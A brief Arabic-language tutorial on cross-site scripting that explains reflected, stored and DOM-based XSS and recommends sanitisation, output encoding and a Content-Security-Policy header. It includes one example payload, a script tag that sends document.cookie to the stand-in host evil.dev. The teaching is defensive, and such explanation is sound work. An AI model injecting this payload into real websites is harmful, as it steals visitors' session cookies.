سكربت في صفحتك

الموقع بيحكي: 'أنا ما بعرف إيش بتكتب، فبدي أطبعو زي ما هو'. لو نصّك كان وسم <script>، المتصفح ينفّذو. أنت ما هاجمت الخادم — هاجمت زوّاره.

<!-- حقل البحث بيستقبل: -->
<script>fetch('https://evil.dev/c?'+document.cookie)</script>

<!-- الموقع طبعو بدون تنقية → كودك ينفّذ عند كل من يشوف الصفحة -->

الأنواع الثلاثة

1. 1المنعكس (reflected): السكربت في رابط، والضحية لازم يفتح الرابط.
2. 2المخزّن (stored): السكربت ينحفظ في قاعدة البيانات (تعليق، اسم مستخدم) ويشتغل لكل زائر — الأخطر.
3. 3DOM-based: الخادم ما بيذنبش — جافاسكربت الصفحة نفسه اللي ينفّذ.

العلاج: تنقية + ترميز + رؤوس

Content-Security-Policy: default-src 'self'; script-src 'self'
# يمنع تشغيل أي سكربت ما جاش من موقعك نفسه

# وترميز الإخراج: < يتحول لـ &lt; فما يتحوّل لوسم